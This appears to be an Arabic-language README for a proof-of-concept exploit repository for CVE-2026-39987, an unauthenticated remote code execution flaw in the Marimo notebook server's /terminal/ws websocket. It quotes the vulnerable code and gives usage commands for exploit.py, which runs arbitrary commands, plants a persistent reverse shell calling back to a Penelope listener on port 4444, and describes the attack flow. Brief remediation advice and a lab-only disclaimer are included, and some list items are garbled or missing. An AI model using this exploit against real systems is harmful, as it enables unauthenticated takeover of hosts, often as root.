
استغلال Marimo قبل الإصدار 0.23.0. ثغرة RCE قبل المصادقة عبر نقطة نهاية websocket: /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في Marimo، وهو خادم دفاتر ملاحظات تفاعلي بلغة Python.
اتصال WebSocket واحد غير مصادَق إلى /terminal/ws يمنح غلاف PTY تفاعليًا كاملًا بصلاحيات المستخدم الذي يشغّل عملية Marimo (غالبًا root في Docker).
للاستخدام المخبري / الاختبار المصرّح به فقط (HTB، CTF، مهمة بنطاق مكتوب).
يعرّض Marimo طرفية مدمجة عبر WebSocket على العنوان:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
مسارات WebSocket الأخرى (لا سيما /ws الخاص بواجهة دفتر الملاحظات) تستدعي validate_auth() بشكل صحيح.
/terminal/ws لا يفعل ذلك. فهو يتحقق فقط من:
ثم يقوم فورًا بما يلي:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
لا يلزم أي ملف تعريف ارتباط (cookie) أو رمز مميز (token) أو كلمة مرور أو ترويسة Authorization — حتى عند تفعيل المصادقة على المثيل.
الأثر: تنفيذ أوامر عشوائية بدون مصادقة بصلاحيات عملية Marimo. في صور الحاويات الافتراضية، يكون هذا غالبًا بصلاحيات root.
الملف (الشجرة المعرّضة للثغرة): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
قارن ذلك مع WebSocket الخاص بدفتر الملاحظات (ws_endpoint.py)، الذي يفرض المصادقة:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws بدون بيانات اعتماد| الحالة | الإصدارات |
|---|---|
| هش | Marimo <= 0.20.4 (قبل الإصلاح) |
| مُصلَح | Marimo 0.23.0 والإصدارات الأحدث |
أي نشر يعرّض WebSocket الخاص بالطرفية (وضع التحرير، مع دعم PTY) دون بوابة مصادقة خارجية يقع ضمن نطاق الثغرة.
| الملف | الدور |
|---|---|
exploit.py | إثبات المفهوم (PoC): تنفيذ أوامر + غلاف عكسي دائم + مشغّل Penelope |
penelope.py | معالج غلاف مستقل (brightio/penelope) |
README.md |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py لا يتطلب أي تبعيات إضافية (مكتبة Python 3.6+ القياسية).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
ما يحدث:
/terminal/ws0.0.0.0:4444python3 exploit.py -h
Penelope يُرفق كبرنامج مستقل (penelope.py):
التدفق الافتراضي (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
تُستخدم العملية الفرعية عن قصد: os.execv(penelope) يستبدل صورة العملية الأب، وهو ما قد يقتل خيطًا خلفيًا.
تشغيل Penelope يدويًا:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env، مفاتيح SSH)، وراجع الاتصالات الصادرة ومواضع الثبات (persistence)هذا المشروع مخصص فقط للاختبارات الأمنية المصرّح بها والتعليم والبحث الدفاعي.
أنت مسؤول عن الامتثال للقوانين السارية وقواعد الاشتباك (rules of engagement) الخاصة بمختبرك أو عميلك.
| هذا الملف |